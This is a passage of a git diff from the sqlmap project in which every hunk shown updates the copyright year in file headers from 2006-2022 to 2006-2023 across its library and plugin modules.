+++ b/lib/core/testing.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/threads.py b/lib/core/threads.py
index cc0a5f572cd..4999b84919c 100644
--- a/lib/core/threads.py
+++ b/lib/core/threads.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py
index c68e0342b0c..4d9045149ad 100644
--- a/lib/core/unescaper.py
+++ b/lib/core/unescaper.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/update.py b/lib/core/update.py
index d85a39f064c..dee1639ebfa 100644
--- a/lib/core/update.py
+++ b/lib/core/update.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py
index b634ed53f91..781642bf5b7 100644
--- a/lib/core/wordlist.py
+++ b/lib/core/wordlist.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/parse/__init__.py
+++ b/lib/parse/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/banner.py b/lib/parse/banner.py
index 45694b41c9f..42b4dddc1ba 100644
--- a/lib/parse/banner.py
+++ b/lib/parse/banner.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index 9b809baa655..b6bb36fb4b4 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py
index c5e47b10af7..6891d11b4e3 100644
--- a/lib/parse/configfile.py
+++ b/lib/parse/configfile.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/handler.py b/lib/parse/handler.py
index 6815194e32f..9b951810cf9 100644
--- a/lib/parse/handler.py
+++ b/lib/parse/handler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/headers.py b/lib/parse/headers.py
index 0526b836527..52786244cee 100644
--- a/lib/parse/headers.py
+++ b/lib/parse/headers.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/html.py b/lib/parse/html.py
index b23fb7264e3..6e2aa6e36e7 100644
--- a/lib/parse/html.py
+++ b/lib/parse/html.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py
index 728beb97aa0..591abbfb7e0 100644
--- a/lib/parse/payloads.py
+++ b/lib/parse/payloads.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py
index 452f894e83f..db2f0901e9e 100644
--- a/lib/parse/sitemap.py
+++ b/lib/parse/sitemap.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/__init__.py b/lib/request/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/request/__init__.py
+++ b/lib/request/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/basic.py b/lib/request/basic.py
index d865575e136..c00fd0df6ca 100644
--- a/lib/request/basic.py
+++ b/lib/request/basic.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py
index 440e918dfb5..f7c8408d82e 100644
--- a/lib/request/basicauthhandler.py
+++ b/lib/request/basicauthhandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py
index 51f80aee476..b27599329b4 100644
--- a/lib/request/chunkedhandler.py
+++ b/lib/request/chunkedhandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/comparison.py b/lib/request/comparison.py
index 261aacf1440..c703b2bb986 100644
--- a/lib/request/comparison.py
+++ b/lib/request/comparison.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/connect.py b/lib/request/connect.py
index 5c0a207aa38..ffc06ad9652 100644
--- a/lib/request/connect.py
+++ b/lib/request/connect.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/direct.py b/lib/request/direct.py
index bbd7619d1e1..e56d2fb25d9 100644
--- a/lib/request/direct.py
+++ b/lib/request/direct.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/dns.py b/lib/request/dns.py
index da126eb6e9f..92dfdc187c0 100644
--- a/lib/request/dns.py
+++ b/lib/request/dns.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py
index d862d088560..c9676a9c4bb 100644
--- a/lib/request/httpshandler.py
+++ b/lib/request/httpshandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/inject.py b/lib/request/inject.py
index 7d584e8bebf..a5287831677 100644
--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py
index 92dacdb5dc5..8535557b44f 100644
--- a/lib/request/methodrequest.py
+++ b/lib/request/methodrequest.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py
index dc7dca40a5d..05a6ccf16aa 100644
--- a/lib/request/pkihandler.py
+++ b/lib/request/pkihandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py
index 458c32ec2ba..ff0598cf06a 100644
--- a/lib/request/rangehandler.py
+++ b/lib/request/rangehandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py
index 2e3c393f317..4920c561bf3 100644
--- a/lib/request/redirecthandler.py
+++ b/lib/request/redirecthandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/templates.py b/lib/request/templates.py
index d931e205891..bf673e2777b 100644
--- a/lib/request/templates.py
+++ b/lib/request/templates.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/takeover/__init__.py
+++ b/lib/takeover/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py
index bb2faf01e4a..52f43ddde84 100644
--- a/lib/takeover/abstraction.py
+++ b/lib/takeover/abstraction.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py
index be87387bee7..679a4cd45cf 100644
--- a/lib/takeover/icmpsh.py
+++ b/lib/takeover/icmpsh.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py
index b322fc44cfa..d4a8776b133 100644
--- a/lib/takeover/metasploit.py
+++ b/lib/takeover/metasploit.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py
index e5dcc18c8fe..a63ec04a2d8 100644
--- a/lib/takeover/registry.py
+++ b/lib/takeover/registry.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py
index d3b1a21c12d..4a53de31df4 100644
--- a/lib/takeover/udf.py
+++ b/lib/takeover/udf.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/web.py b/lib/takeover/web.py
index 93cb79f239a..95727407a0d 100644
--- a/lib/takeover/web.py
+++ b/lib/takeover/web.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py
index 52fea7745f5..c81375a4508 100644
--- a/lib/takeover/xp_cmdshell.py
+++ b/lib/takeover/xp_cmdshell.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/techniques/__init__.py
+++ b/lib/techniques/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/techniques/blind/__init__.py
+++ b/lib/techniques/blind/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py
index 70bad65e077..d7353da7eb5 100644
--- a/lib/techniques/blind/inference.py
+++ b/lib/techniques/blind/inference.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/techniques/dns/__init__.py
+++ b/lib/techniques/dns/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py
index 7fe59ab60e1..c0c16679a65 100644
--- a/lib/techniques/dns/test.py
+++ b/lib/techniques/dns/test.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py
index 5c9d09dc970..d2c474fdcc9 100644
--- a/lib/techniques/dns/use.py
+++ b/lib/techniques/dns/use.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/techniques/error/__init__.py
+++ b/lib/techniques/error/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py
index 078c04b4e5b..343733dd26c 100644
--- a/lib/techniques/error/use.py
+++ b/lib/techniques/error/use.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/techniques/union/__init__.py
+++ b/lib/techniques/union/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py
index 64b5be0aac9..c7a3f5948b0 100644
--- a/lib/techniques/union/test.py
+++ b/lib/techniques/union/test.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py
index 868cae4efaf..ef550d8da4f 100644
--- a/lib/techniques/union/use.py
+++ b/lib/techniques/union/use.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/utils/__init__.py
+++ b/lib/utils/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/api.py b/lib/utils/api.py
index 6fa8c0ab2a6..2a394f3821e 100644
--- a/lib/utils/api.py
+++ b/lib/utils/api.py
@@ -2,7 +2,7 @@
 # -*- coding: utf-8 -*-
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/brute.py b/lib/utils/brute.py
index f9fe080894e..905e5d241ee 100644
--- a/lib/utils/brute.py
+++ b/lib/utils/brute.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py
index 02151454198..2d907071312 100644
--- a/lib/utils/crawler.py
+++ b/lib/utils/crawler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/deps.py b/lib/utils/deps.py
index 846f2637f62..1d73022877d 100644
--- a/lib/utils/deps.py
+++ b/lib/utils/deps.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/getch.py b/lib/utils/getch.py
index 5f0f61d57ff..347fd7e5365 100644
--- a/lib/utils/getch.py
+++ b/lib/utils/getch.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/har.py b/lib/utils/har.py
index c7bbc6743ae..bcea7b001e3 100644
--- a/lib/utils/har.py
+++ b/lib/utils/har.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/hash.py b/lib/utils/hash.py
index b716a54fae8..4a013338b4e 100644
--- a/lib/utils/hash.py
+++ b/lib/utils/hash.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py
index 128720dd1c4..10cf2dcc99d 100644
--- a/lib/utils/hashdb.py
+++ b/lib/utils/hashdb.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/httpd.py b/lib/utils/httpd.py
index 546cca4dea0..f5820a600cf 100644
--- a/lib/utils/httpd.py
+++ b/lib/utils/httpd.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py
index a36ab80e8db..008a33c59a9 100644
--- a/lib/utils/pivotdumptable.py
+++ b/lib/utils/pivotdumptable.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/progress.py b/lib/utils/progress.py
index 43aa2d0fcfd..9e906326ae3 100644
--- a/lib/utils/progress.py
+++ b/lib/utils/progress.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/purge.py b/lib/utils/purge.py
index 3272614692b..e89895eba00 100644
--- a/lib/utils/purge.py
+++ b/lib/utils/purge.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/safe2bin.py b/lib/utils/safe2bin.py
index 2d2ae4f2dda..15ba36965a9 100644
--- a/lib/utils/safe2bin.py
+++ b/lib/utils/safe2bin.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/search.py b/lib/utils/search.py
index 2b4a12b979d..5ae11a10c63 100644
--- a/lib/utils/search.py
+++ b/lib/utils/search.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py
index be67316d88a..a051756a184 100644
--- a/lib/utils/sqlalchemy.py
+++ b/lib/utils/sqlalchemy.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py
index abafa2fe0b3..9551cfe5daf 100644
--- a/lib/utils/timeout.py
+++ b/lib/utils/timeout.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py
index 59547f789f8..7dd85e1b389 100644
--- a/lib/utils/versioncheck.py
+++ b/lib/utils/versioncheck.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py
index 3063ecf9ba9..d4065f00dab 100644
--- a/lib/utils/xrange.py
+++ b/lib/utils/xrange.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/__init__.py b/plugins/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/plugins/__init__.py
+++ b/plugins/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/plugins/dbms/__init__.py
+++ b/plugins/dbms/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py
index f9b52a95194..37ec1e2b80f 100644
--- a/plugins/dbms/access/__init__.py
+++ b/plugins/dbms/access/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py
